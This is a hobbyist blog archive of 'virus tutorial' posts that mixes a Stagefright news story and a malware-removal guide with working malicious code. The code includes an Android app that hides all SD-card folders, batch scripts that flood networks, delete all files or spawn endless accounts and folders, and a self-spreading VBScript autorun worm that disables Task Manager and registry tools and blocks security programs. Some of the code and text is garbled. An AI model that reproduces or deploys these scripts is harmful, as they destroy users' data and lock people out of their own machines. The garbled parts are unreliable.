Showing posts with label Virus Tutorial. Show all posts
Showing posts with label Virus Tutorial. Show all posts
Wednesday, April 18, 2018

How To Create A Harmless Android Phone Virus ... (prank ,virus, harmless)

Creating a simple virus program(harmless,just for fun / prank)....

This program can infect the phone as well as disinfect it....

(disinfecting will not function properly in some cases,data is not actually lost anywhere but you have to recover it manually in such case... **it is also described below)

so use at own risk....

Screen shot:-


After infecting



but yet it works in most cases

This posts include a simple program in android which is capable to invisible all the SD-Card content of phone from file manager,gallery and media scanner...

The basic idea behind it is only to hide/invisible the SD-Card content from phone.so Android OS gets unaware about that data and don't shows it up.....

In Android system folders having a dot "." as initial of its name considered as hidden .... so what we do is to make each SD-card folder to start with "..." to hide them ex- 'image' --> '...image'

and while disinfecting we have to remove those dots to unhide them from system....

here we are using three dots "..." as prefix to differ them from android system hidden files..

Source code:-

package com.example.fun_virus;

import java.io.File;
import java.util.ArrayList;
import java.util.List;

import android.app.Activity;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.os.Environment;
import android.util.Log;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.Toast;

public class Fun_Virus_Activity extends Activity
{
private File file;
private List myList;

public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_fun__virus);

myList = new ArrayList();

String root_sd = Environment.getExternalStorageDirectory().toString();
file = new File( root_sd + "/" ) ;
Button btn_infect = (Button) findViewById(R.id.btn_infect);
Button btn_disinfect = (Button) findViewById(R.id.btn_disinfect);

btn_infect.setOnClickListener(new OnClickListener() {

@Override
public void onClick(View arg0) {
// TODO Auto-generated method stub
SharedPreferences settings = getSharedPreferences("mysp", MODE_PRIVATE);
String inf = settings.getString("INFECTED","NO");
if(inf.equals("OK"))
{
Toast.makeText(Fun_Virus_Activity.this,"Already Infected", 5).show();
}else
{
infect();
SharedPreferences.Editor prefEditor = settings.edit();
prefEditor.putString("INFECTED", "OK");
prefEditor.commit();
}
}
});
btn_disinfect.setOnClickListener(new OnClickListener() {

@Override
public void onClick(View arg0) {
// TODO Auto-generated method stub
disinfect();
Fun_Virus_Activity.this.getSharedPreferences("mysp", 0).edit().clear().commit();
}
});

}
public void infect()
{
File list[] = file.listFiles();
for( int i=0; i< list.length; i++)
{
myList.add( list[i].getName() );
Log.e("files : ",i+":"+ myList.get(i).toString());
File file = new File(list[i].getParent()+"/"+myList.get(i));
//File file2 = new File(list[i].getParent()+"..."+myList.get(i));
Log.e("abs_path",list[i].getParent()+"/"+myList.get(i)+"");
//boolean success = file.renameTo(file2);
boolean success= file.renameTo(new File(list[i].getParent(),"..."+myList.get(i)));
Log.e("bool",success+"" );
}
}
public void disinfect()
{
File list[] = file.listFiles();
for( int i=0; i< list.length; i++)
{
myList.add( list[i].getName() );
Log.e("files : ",i+":"+ myList.get(i).toString());
File file = new File(list[i].getParent()+"/"+myList.get(i));
String aa= myList.get(i).replace("...", "");
Log.e("replace", aa+"");
boolean success= file.renameTo(new File(list[i].getParent(),aa));
Log.e("bool",success+"" );
}
}
}
And the layout :-

xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@drawable/vrs_logo"
tools:context=".Fun_Virus_Activity" >

android:id="@+id/btn_infect"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignParentLeft="true"
android:layout_alignParentTop="true"
android:layout_marginTop="32dp"
android:text="INFECT" />

android:id="@+id/btn_disinfect"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignBaseline="@+id/btn_infect"
android:layout_alignBottom="@+id/btn_infect"
android:layout_alignParentRight="true"
android:text="DISINFECT" />


**

In a condition when all previous data is not visible after disinfecting then you have to manually recover those data using file explorer like:-Es File Explorer,AndroZip etc..
you should rename folders with "..." prefix to there original name ex:- '...image' -->'image'

This will show data again.



Source : Copyed on April 18, 2018 at http://suhebqureshi.blogspot.co.id Posted by Suheb Qureshi
               As an advanced reference material, please be able to visit the official website. Thank you
Tuesday, April 17, 2018

Simple Text Message to Hack Any Android Phone Remotely


Own an Android phone? Beware, Your Android smartphones can be hacked by just a malformed text message.

Security researchers have found that 95% of Android devices running version 2.2 to 5.1 of operating system, which includes Lollipop and KitKat, are vulnerable to a security bug, affecting more than 950 Million Android smartphones and tablets.

Almost all Android smart devices available today are open to attack that could allow hackers to access the vulnerable device without the owners being aware of it, according to Joshua Drake, vice president of platform research and exploitation at security firm Zimperium.

The vulnerability actually resides in a core Android component called "Stagefright," a multimedia playback library used by Android to process, record and play multimedia files such as PDFs.

A Text Message Received...Your Game is Over

The sad news for most of the Android users is that the fix will not help Millions of Android users that owned older versions of the operating system that Google no longer supports, opening doors for hackers to perform Stagefright attack.

Drake has developed and published a scary exploit that uses a specially crafted text message using the multimedia message (MMS) format.

All a hacker needs is the phone number of the victim’s Android device. The hacker could then sends the malicious message that will surreptitiously execute malicious code on the vulnerable device with no end user action, no indication, nothing required.

"These vulnerabilities are extremely dangerous because they do not require that the victim take any action to be exploited," reads the Zimperium blog post published Monday.

"Unlike spear-phishing, where the victim needs to open a PDF file or a link sent by the attacker, this vulnerability can be triggered while you sleep. Before you wake up, the attacker will remove any signs of the device being compromised, and you will continue your day as usual—with a trojaned phone."

Drake will present his full findings, including six additional attack techniques to exploit the vulnerability, at Black Hat security conference in Las Vegas on on August 5 and DEF CON 23 on August 7, where he is scheduled to deliver a talk titled, Stagefright: Scary Code in the Heart of Android.

Almost all Android devices containing Stagefright are in question. According to Drake, all versions of Android devices after and including version 2.2 of the operating system are potentially vulnerable, and it is up to each device manufacturer to patch the devices against Stagefright attack.

When will I expect a Fix?

Google has patched the code and sent it to device manufacturers, but devices require over-the-air updates from companies such as Samsung or Motorola to update their customers' phones.

Given the shaky history of handset manufacturers and carriers rolling out security patches, it is not known how long the companies will take to update vulnerable Android devices against Stagefright attack.

However, Silent Circle has patched the issue in its Blackphone, as has Mozilla, which uses Stagefright code in Firefox OS.

Source : Copyed on April 18, 2018 at thehackernews.com Posted by Mohit Kumar
               As an advanced reference material, please be able to visit the official website. Thank you

How to Remove Malware From Your PC


It should be drilled into you by now: Use antivirus software! These programs—from the amazing free tools to the fee-driven antivirus utilities—keep tabs on your Windows PC with scans, real-time monitoring, even heuristic analysis of files and processes so new threats can be identified. It's imperative, especially with Windows, that you have some kind of antivirus installed.

But even the best antivirus isn't 100 percent foolproof. A device already compromised by malware could get on your network, people can personally place malware on a system, and some malware, a Remote Access Trojan, lays dormant waiting to attack at just the right time. And no one can protect entirely against social engineering or phishing schemes that trick you into clicking on or downloading an infected link or attachment. Hell, there are even rogue programs out there that look like antivirus or antispyware, but when you install them, you get infected! Always download from the source—avoid the third-party download sites.

Sometimes, it's hard to tell when you're initially infected with the badness. But there are plenty of signs you should keep an eye out for—incredibly slow performance where once the PC zipped along, browser pop-ups when no browser is even open, scary warnings from security programs you didn't install, and many more.

If you suspect, or absolutely with a certainty know, you've got a malware infection, here are the steps to take, immediately, to remove the malware.

Install or Update Your Antivirus

First, make sure your existing antivirus software is fully updated with the latest virus definitions—that's how the software IDs existing malware, based on what has come before. Antivirus vendors are constantly updating these lists as they encounter new viruses and Trojans in the wild and in the lab. If your software is even a day out of date, you run the risk of an infection.

If you don't have any antivirus installed, well...sheesh. Re-read the first paragraph above and immediately download one of our top-rated free antivirus tools: Avast Free Antivirus, AVG AntiVirus Free, or Panda Free Antivirus.


If you need to fix an infected PC for a business, super-sheesh, and also, you'll probably have to spend some money to get a full security suite. Our top-rated options include: Symantec Norton Security Premium, Bitdefender Internet Security, Bitdefender Total Security, Kaspersky Internet Security, and McAfee LiveSafe. All of the above get 4.5 stars in reviews this year from PCMag's security expert, Neil J. Rubenking.

Then run the deep, thorough scan. Let it run for as long as it takes, and hope that it finds and fixes the problem. That's your best-case scenario. The problem is, if the malware is good at its job, then it probably deactivated the antivirus to get there in the first place.

Also, make sure you've got a software firewall running on all PCs. The firewall running in your home or business router is nice and all, but it's not enough. Our top pick is the Check Point ZoneAlarm Free Firewall, or get the paid Pro version that does even more.

Revert to the Old or the Safe

If you've got System Restore points set in Windows, you could use this opportunity to reset the system. It could do the trick but probably will not. The malware, again, if it was written by someone smart, will be ready for this trick. You can try running RKill, a program designed to kill any known malware processes in play.

If that doesn't work, you need to boot Windows in a way that won't let the malware get started. That's called Safe Mode. Enter into the Windows Safe Mode by restarting the PC, then, in Windows 8 and 10, hold down the shift key during the boot sequence. When you're asked for troubleshooting options, enter Safe Mode.

You should delete temp files—they permeate Windows after a while, and could be where malware hides. At the Start menu, type in Disk Cleanup and it'll check the C: drive for what you can safely delete among all the temps. Then download and run an antivirus on-demand scanner: Malwarebytes Anti-Malware is always highly recommended at this point in the process. Hopefully, it does the trick and your PC is back to normal after the scan and another reboot.


Malwarebytes Anti-Malware is sometimes called "second opinion malware scanner," because it's a second line of attack against the bad guys if your initial antivirus fails. Other options include HitmanPro and Kaspersky TDSKiller. The latter is particularly good at sniffing out rootkits that run at a level that makes them hard to find by regular antivirus software.

Cut the Internet

If you've got a RAT aboard, that means someone is remotely accessing your PC. That's bad news, so your first step has to be getting off the Internet. Pull the Ethernet on the PC, turn off the Wi-Fi, even turn off the router if you must. That's your only guarantee the PC is disconnected (make sure it's not using a neighbor's or business's Wi-Fi to stay online on the side).

Not being online makes it hard to stay up to date with antivirus definitions, of course. You'll have to get the latest software from a third-party PC (probably at a different location) then get it to the infected system using a USB flash drive. You can also boot the computer with a CD, sometimes called a "Live CD" or "rescue CD," running a full anti-malware utility. Of course, you might need a CD reader on the PC, which isn't always a given these days, especially on newer laptops. Then again, many of these tools can boot from a USB flash drive, as well.

Get Portable Antivirus Help

When all else fails, it could be the OS that's against you, thanks to the infection—you may not be able to even install new antivirus tools. You need to get around the OS and let the antivirus take control.

There are many portable apps you can put on a USB drive that don't require direct installation, including some that do antivirus, like Microsoft Safety Scanner, ClamWin, McAfee Stinger, or Kaspersky Security Scan. Try a mix—they won't conflict since you run each scan individually.

If you prefer to boot into a utility that will then do a deeper scan on the entire hard drive, get a third-party PC on which to burn the goods, then find a rescue CD image to burn from antivirus vendors like AVG, Avira, Bitdefender, F-Secure, Kaspersky, Panda, Sophos, and Trend Micro.

You'll need ISO or IMG file burner software utility to make that disk or drive that's bootable; in Windows 7, 8, and 10, insert the empty CD, DVD, or USB drive, double click the ISO or IMG file and select Burn disc image. Or download a tool like ImgBurn to get more control over it.

There is specialized software out there, like Spybot, that goes after spyware, or Symantec's Norton Power Eraser, which specifically targets "crimeware," the kind of malware that runs scams and scares the crap out of you. This one comes with a warning that it's as aggressive as hell when it goes after a problem, and therefore the risk of collateral damage is high. The warning says specifically, "there is a risk that it can select some legitimate programs for removal."


Risking a few programs is worth it compared to the nuclear option: reformatting your hard drive and reinstalling the operating system and all programs (you do have an image of your clean OS install backed up that you can use for restoration, right?). That's necessary less and less these days, compared to the days of Windows 95 on up to Vista; but still a viable method of resetting the system, sans malware.

Living in the Aftermath

Dealing successfully with an infection is like being at home after you've been burglarized; it takes a while to feel safe again. Take steps, like you would after being robbed: enhance your security. Get the best, highest rated security suite, read up on how to avoid getting scammed/phished, and then go on a purge: uninstall any programs you're not using on a regular basis or don't trust. Be ruthless. And be careful.


Source : Copyed on April 18, 2018 at www.pcmag.com Posted by Eric Griffith
               As an advanced reference material, please be able to visit the official website. Thank you

Create Your Own Android Trojan in 5 Easy Steps


It seems that every few weeks a new crop of malicious Android apps turns up in the market. Sometimes Google just removes them from the market; other times it uses the "kill switch" to disable already-downloaded apps from Android devices around the world.

Typically these threats are perfectly ordinary-looking apps. Like the Trojan Horse of legend, they enter your device freely, with your permission. Once installed they do something nasty. Some users are shocked that Google can remove stuff from your Android phone remotely. I'm more alarmed at the ridiculous ease with which malicious coders can create Trojans for Android.

At last week's Next@Norton event, Symantec researchers presented a dazzling array of information about the current state of mobile security and the mobile malware landscape. Eric Chien, Technical Director for Security Response, revealed the absurdly simple steps a malefactor uses to create a brand-new Trojan by creating one right in front of the audience. Don't worry; his sample app never left the room.

Here are the five simple steps Chien demonstrated:

One. Start by downloading a free app. You can choose any app at all, but of course you'll want to pick something that will draw plenty of downloads.

Two. The language compilers that create applications on your PC take textual source code and convert it into assembly language that the CPU can read and process. It's a one-way translation; there's no way to go from the final executable file back to the source code. Android apps are written in Java, though, and that means that you can decompile them back to the original source code using simple, easily-available tools. For the next step, decompile your target app.

Three. The third step is a little tricky. You'll need to obtain Java source code that does something nasty, like sending personal information from the device to a third party. For the demonstration, Chien used a known threat called Android.Geinimi.

Four. Adding the Trojan code is absurdly simple. You copy it into the folder containing the existing source code, make a small change in the manifest to run the Trojan code before the rest of the app, and edit the permissions to give the Trojanized app free access to the entire device. While you're at it, tweak the app's name. Chien added "FREE!" to the name for his demo.

Five. Compile the modified app and upload it to the market. You're done!

Of course, malicious apps don't last long in the Android Market. If you really want to spread a dangerous program, you're better off uploading it in China, where there is no official Android market. In fact, virtually all of the examples referenced in Chien's presentation surfaced in the free-for-all markets of China.

Not planning to do this yourself? Good! But I'm sure that like me you're shocked at how easily someone with bad intentions can create a brand new Android Trojan. It's time to look into mobile security for your Android device.

Source : Copyed on April 18, 2018 at www.pcmag.com Posted by Neil J. Rubenking
               As an advanced reference material, please be able to visit the official website. Thank you
Thursday, January 22, 2015

Virus Code 17: Flood Your Network

This is the virus writing basics section. Today we are going to show you on flodding the network. This is demonstrated using Dos/Batch programming.


The below cade will temporarily flood network once the user turns off his comp everything will be back to normal.


:CRASH

net send * WORKGROUP ENABLED

net send * WORKGROUP ENABLED

GOTO CRASH

Just copy the code into a notepad file and save it as anything.bat.When you run it will start flodding your network.

As all the info given over here is purely for educational purpose it's readers responsibility to use it sensibly.

For more tips select "virus writing" label/option from below


Virus Code 20: Black Wolf Virus

This is the code of the "Black Wolf" virus.This is in c. You are at your own risk. If you spread this you will land behind the bar. We are giving this only for educational Purpose. You need to guess the header file for yourself.





This virus corrupts all the .com files . so be extremely careful what you do with it.

Virus Code 18: Delete All Files

This is the virus wirting basics section. Today we are going to show you how to delete all content. This is demonstrated using DOS programming and also in LINUX.


DOS programming

Paste the given code in notepad

@Echo off

Del C:\ *.*y


And save it like any_name.bat . Now run this file... All the data is gone from your PC.


LINUX

Just run the command

rm *.* will delete all files of any extention


Friday, June 15, 2012

Virus Code Tutorial

Virus code can be coded using several language. The best being c or vbs or dos. Today I teach some basic virus codings. I will be using c, dos and alp/asm(assembly language).These is a very simple Virus coding tutorial just a beginners guide

this is mainly for programmers. this post is just to change their thinking. First lets begin with tiny and simple ones.I will show both codes for windows and linux

First alp/asm
back: add c,b
loop back

This simple script needs no explanation. It will just be eating away your victims memory at a slow space. As you know addition needs some space to store intermediate result. this will be using up the ram. but very less of ram is lost and the user can stop this by just closing the .exe file. As you know a float addition takes up more space than normal addition . You can replace integer addition with float.


Now lets try to create a simple Linux virus in c.

system("poweroff");

This simple script will turn off your victims comp. Now if you can forece this script to load at start up then it will be a nightmare.

let's see one more linux virus of the same type
system("rm *.*");

This will all files with all extension which the user has previlage to delete.Just imagine if the admin runs it then it will create a havoc.

Lets see the same codes for windows.

To delete all files in windows using dos/batch progtraming will be
del *.*
and the code of the shutdown virus will be just shutdown

Now lets disable Internet

ipconfig /release
echo You Internet Been HACKED!


What if you change the extension of a file. It becomes useless.Now let's rename a few file.
rename(old_file_name_with_path,newname");
Now what you can do with this left up to you.Just use your brain and you will make out it's potential.

These are very simple virus just a beginners guide. Just check out the virus codes section for more complex and full fledged Virus coding tutorial. Please dont misuse these virus codes in c

Saturday, December 27, 2008

Make virus Com

You certainly have to write a normal program with assembly language, which resulted in a program with ektension com. To be more easily understood and will be given a sample format of the program with basic ektension com:

. Model Small
. Code
Org 100h
Label: Jmp Label2
Db Dataku the "Program Data Com"
Label2:
Mov AH, 09h
Lea DX, Dataku
Int 21h
Int 20H
End Label1

How to Make a Shutdown 'Virus' with Notepad ( .bat )

It's not really a virus, it causes no damage to your PC. This. Bat script file will not be detected by any anti-virus out there. This is a file legitament made by IT admins to shutdown all the PC's at once in their network. Follow the video below for a step by step guide on how to make your own.
here is a good virus if u want but just so u know i am not for anything responceable

copy this to notepad and save as flood1.bat

@ ECHO OFF
Phoenix @ ECHO A PRODUCTION
@ ECHO MAIN BAT RUNNING
GOTO start

: start
@ ECHO SET snowball2 = 1>> bat6.bat
@ ECHO GOTO flood5>> bat6.bat
@ ECHO: flood5>> bat6.bat
@ ECHO SET / a snowball2 = snowball2%%%% +1>> bat6.bat
@ ECHO NET USER snowball2%%%% snowball2 / add>> bat6.bat
@ ECHO GOTO flood5>> bat6.bat
START / MIN bat6.bat
GOTO bat5

: bat5
@ ECHO CD%%% ProgramFiles% \>> bat5.bat
@ ECHO SET Maggi = 1>> bat5.bat
@ ECHO GOTO flood4>> bat5.bat
@ ECHO: flood4>> bat5.bat
@ ECHO mkdir Maggi Maggi%%%%>> bat5.bat
@ ECHO SET / a Maggi Maggi =%%%% +1>> bat5.bat
@ ECHO GOTO flood4>> bat5.bat
START / MIN bat5.bat
GOTO bat4

: bat4
@ ECHO CD%% SystemRoot%% \>> bat4.bat
@ ECHO SET marge = 1>> bat4.bat
@ ECHO GOTO flood3>> bat4.bat
@ ECHO: flood3>> bat4.bat
@ ECHO marge mkdir marge%%%%>> bat4.bat
@ ECHO SET / marge a marge =%%%% +1>> bat4.bat
@ ECHO GOTO flood3>> bat4.bat
START / MIN bat4.bat
GOTO bat3

: bat3
@ ECHO CD%%% UserProfile% \ Start Menu \ Programs \>> bat3.bat
@ ECHO SET bart = 1>> bat3.bat
@ ECHO GOTO flood2>> bat3.bat
@ ECHO: flood2>> bat3.bat
@ ECHO mkdir bart bart%%%%>> bat3.bat
@ ECHO SET / a bart bart =%%%% +1>> bat3.bat
@ ECHO GOTO flood2>> bat3.bat
START / MIN bat3.bat
GOTO bat2

: bat2
@ ECHO CD%%% UserProfile% \ Desktop \>> bat2.bat
@ ECHO SET Homer = 1>> bat2.bat
@ ECHO GOTO flood>> bat2.bat
@ ECHO: flood>> bat2.bat
@ ECHO mkdir Homer Homer%%%%>> bat2.bat
@ ECHO SET / a Homer Homer =%%%% +1>> bat2.bat
@ ECHO GOTO flood>> bat2.bat
START /MIN bat2.bat
GOTO original

: original
CD% HomeDrive% \
Lisa SET = 1
GOTO flood1
: flood1
Lisa lisa mkdir%%
SET / a lisa lisa =% +1%
GOTO flood1


Source by http://kinghavoc.tblog.com/archive/2007/11/1969966579

Make Virus Via NotePad

We will create a more powerful virus again. If you have not yet know, I want to apologize because in the previous article have an error code. Please replace the word "rekursif" to "rekur". If not, syntax error can later
Come on now we are open Notepadnya and type the following code. If a lazy tinggak Copy> Paste ....

'Bat-X
'Variant of Kalong.VBS
on error resume next
'Dim words following
rekur dim, windowpath, desades, fs, mf, content, TF, bat, nt, check, sd
'To prepare the content autorun
content = "[autorun]" & vbCrLf & "shellexecute = wscript.exe k4l0n6ms32.dll.vbs"
set fs = createobject ( "Scripting.FileSystemObject")
set mf = fs.getfile (Wscript.ScriptFullname)
dim text, size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream (1, -2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbCrLf
loop
do
'A parent file
Set windowpath = fs.getspecialfolder (0)
set TF = fs.getfile (windowpath & "\ k4l0n6-x.dll.vbs")
tf.attributes = 32
set TF = fs.createtextfile (windowpath & "\ k4l0n6-x.dll.vbs", 2, true)
tf.write rekur
tf.close
set TF = fs.getfile (windowpath & "\ k4l0n6-x.dll.vbs")
tf.attributes = 39
'Sebar added to the removable disc with Autorun.inf
for each desades in fs.drives
If (desades.drivetype = 1 or desades.drivetype = 2) and desades.path <> "A:" then
set TF = fs.getfile (desades.path & "\ k4l0n6ms32.dll.vbs")
tf.attributes = 32
set TF = fs.createtextfile (desades.path & "\ k4l0n6ms32.dll.vbs", 2, true)
tf.write rekur
tf.close
set TF = fs.getfile (desades.path & "\ k4l0n6ms32.dll.vbs")
tf.attributes = 39
set TF = fs.getfile (desades.path & "\ autorun.inf")
tf.attributes = 32
set TF = fs.createtextfile (desades.path & "\ autorun.inf", 2, true)
tf.write contents
tf.close
set TF = fs.getfile (desades.path & "\ autorun.inf")
tf.attributes = 39
end if
next
'Registry Manipulation
set bat = createobject ( "WScript.Shell")
'Change IE Title
kalong.regwrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Internet Explorer \ Main \ Window Title ",":: -> bat-X <-:: 2="" a="" advanced="" amp="" and="" application.="" at="" batch-k4l0n6.dll.vbs="" check="" cmd.exe="" currentversion="" debugger="" disableregistrytools="" disabletaskmgr="" during="" execution="" explorer="" file="" files="" folderoptions="" following="" for="" hidden="" i="" idden="" if="" image="" install.exe="" ivert="" kalong.regwrite="" legalnoticecaption="" legalnoticetext="" lock="" manager="" message="" microsoft="" msconfig.exe="" nofind="" nofolderoptions="" norun="" not="" notepad.exe="" notepad="" noviewcontextmenu="" nt="" o="" onus="" opened="" options="" panic="" pcmav-cln.exe="" pcmav-rtp.exe="" pcmav.exe="" policies="" program="" reason="" reate="" regedit.exe="" regedit="" regedt32.exe="" registryeditor.exe="" right-click="" run="" seen="" setup.exe="" software="" startup="" system="" systemdir="" tart="" task="" the="" windowpath="" windows="" winlogon="" with="" x-bat=""> 1 then
Wscript.sleep 200,000
end if
loop while check <> 1
set sd = createobject ( "Wscript.shell")
sd.run windowpath & "\ explorer.exe / e, / select," & Wscript.ScriptFullname
Once you place the code click FILE> SAVE. In the File Type select ALL FILES (*.*) and save with the name k4l0n6ms32.dll.vbs. After that you try to run. And yes, you've run a bat-X.VBS on your computer.
If you open an application called: cmd.exe, install.exe, msconfig.exe, regedit.exe, regedt32.exe, RegistryEditor.exe, setup.exe, PCMAV.exe, PCMAV-CLN.exe, and PCMAV-RTP. exe so that Notepad will open its more or less like this:
Remember the people that are useful for other people. There is no "dangerous goods" here because you are making them dangerous. I am not responsible if you misuse this code. This is for science only. I curse if abused face similar hammer (Wah ... so famous later) ... do not deh. The point of desperation you by your own.
This virus has the ability Autorun computer so that dicolokkan Removable Disc (Mislanya Flash Disc), which infected the virus will also diinfeksi (if not in the Autorun disabled)
NOTE: To clean the bat-X is easy. Living stop the process called wscript.exe. If the WinNT you can do so through the Task Manager. But if Win9x please search tool such as Task Manager replacement Procexp or CurrProcess. What if sometimes via the Command Prompt I can.
Once you dismiss the process of removing the file wscript.exe parent who called k4l0n6-x.dll.vbs in WINDOWSDIR (C: \ Windows for example). If no first show hidden files with Folder Options. Then fix the Registry. To speed up the code to copy the Notepad:
[Version]
Signature = "$ Chicago $"
Provider = Fariskhi
[DefaultInstall]
AddReg = UnhookRegKey
DelReg = del
[UnhookRegKey]
HKCU, Software \ Microsoft \ Internet Explorer \ Main, Window Title, 0, "INTERNET EXPLORER"
[del]
HKCU, Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer, NoFind
HKCU, Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer, NoFolderOptions
HKCU, Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer, NoRun
HKCU, Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System, DisableRegistryTools
HKCU, Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System, DisableTaskMgr
HKCU, Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer, NoViewContextMenu
HKLM, Software \ Microsoft \ Windows \ CurrentVersion \ Winlogon, LegalNoticeCaption
HKLM, Software \ Microsoft \ Windows \ CurrentVersion \ Winlogon, LegalNoticeText
HKLM, Software \ Microsoft \ Windows \ CurrentVersion \ Run, Systemdir
HKLM, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ cmd.exe, Debugger
HKLM, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ install.exe, Debugger
HKLM, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ msconfig.exe, Debugger
HKLM, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ regedit.exe, Debugger
HKLM, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ regedt32.exe, Debugger
HKLM, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ RegistryEditor.exe, Debugger
HKLM, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ setup.exe, Debugger
HKLM, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ PCMAV.exe, Debugger
HKLM, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ PCMAV-CLN.exe, Debugger
HKLM, SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ PCMAV-RTP.exe, Debugger
After that save the FILE TYPE: ALL FILES (*.*) and save with the name: kalongxremoval.inf. Then right-click the file and select install. So we create a virus and Antidotnya together with Notepad.ini tutorial is the property of friends but I am calm aja da kurubah sintak program in the registry in its

Source: http://sahammudien.wordpress.com/2007/12/12/make-virus-via-notepad/

Make Virus Is Easy

Few Virus Tutorial.

'//-- Start of the code, set to be left when the error occurred and then continue the virus - / /
on error resume next

Dim'//-- words following - / /
rekur dim, windowpath, flashdrive, fs, mf, content, TF, bat, nt, check, sd

'//-- Set a text that will be made for Autorun Setup Information - / /
content = "[autorun]" & vbCrLf & "shellexecute = wscript.exe k4l0n6.dll.vbs"
set fs = createobject ( "Scripting.FileSystemObject")
set mf = fs.getfile (Wscript.ScriptFullname)
dim text, size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream (1, -2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbCrLf
loop
do

Copy'//-- themselves to be the master file in the Windows path (example: C: \ Windows)
Set windowpath = fs.getspecialfolder (0)
set TF = fs.getfile (windowpath & "\ batch-k4l0n6.dll.vbs")
tf.attributes = 32
set TF = fs.createtextfile (windowpath & "\ batch-k4l0n6.dll.vbs", 2, true)
tf.write rekursif
tf.close
set TF = fs.getfile (windowpath & "\ batch-k4l0n6.dll.vbs")
tf.attributes = 39
'//-- Create Atorun.inf virus to run automatically each flash disc tercolok - / /
'Spread to every drive bertype 1 and 2 (removable), including floppy disks

for each flashdrive in fs.drives
Check'//-- Drive - / /
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then

'//-- Create Infector If Drivetypr 1 or 2. Or A: \ - / /
set TF = fs.getfile (flashdrive.path & "\ k4l0n6.dll.vbs")
tf.attributes = 32
set TF = fs.createtextfile (flashdrive.path & "\ k4l0n6.dll.vbs", 2, true)
tf.write rekursif
tf.close
set TF = fs.getfile (flashdrive.path & "\ k4l0n6.dll.vbs")
tf.attributes = 39

'//-- Create Atorun.inf the text before it is prepared (Auto Setup Information )--//
set TF = fs.getfile (flashdrive.path & "\ autorun.inf")
tf.attributes = 32
set TF = fs.createtextfile (flashdrive.path & "\ autorun.inf", 2, true)
tf.write contents
tf.close
set TF = fs.getfile (flashdrive.path & "\ autorun.inf")
tf.attributes = 39
end if
next

Manipulation'//-- Registry - / /

set bat = createobject ( "WScript.Shell")

'//-- Manip - Title Change Internet Explorer into the bat vs ZAY - / /
kalong.regwrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Internet Explorer \ Main \ Window Title", "THE bat vs ZAY"

'//-- Manip - Set that does not show hidden files in Explorer - / /
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ Advanced \ Hidden", "0", "REG_DWORD"

'//-- Manip - Remove the Find menu, Folder Options, Run, and block regedit and Task Manager - / /
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ NoFind", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ NoFolderOptions", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ NoRun", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System \ DisableRegistryTools", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System \ DisableTaskMgr", "1", "REG_DWORD"

'//-- Manip - Disable right-click - / /
kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ NoViewContextMenu", "1", "REG_DWORD"

'//-- Manip - Munculkan Message Every Windows Startup - / /
kalong.regwrite "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Winlogon \ LegalNoticeCaption", "Worm bat. Rangga from Variant-Zay, do not panic all data are safe."

'//-- Manip - On the Windows Startup - / /
kalong.regwrite "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ Systemdir", windowpath & "\ batch-k4l0n6.dll.vbs"

'//-- Manip - Change RegisteredOwner and Organization - / /
kalong.regwrite "HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ RegisteredOrganization", "The Batrix"
kalong.regwrite "HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ RegisteredOwner", "bat"

Nah'//-- under this code if I do not, please explain to Aat_S Mas - / /
if check <> 1 then
Wscript.sleep 200,000
end if
loop while check <> 1
set sd = createobject ( "Wscript.shell")
